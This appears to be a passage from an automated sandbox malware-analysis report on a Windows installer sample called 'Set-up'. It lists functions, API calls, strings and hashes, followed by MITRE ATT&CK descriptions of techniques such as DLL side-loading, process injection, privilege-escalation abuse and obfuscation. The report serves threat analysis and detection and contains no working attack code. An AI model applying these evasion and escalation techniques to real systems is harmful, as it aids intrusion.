lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
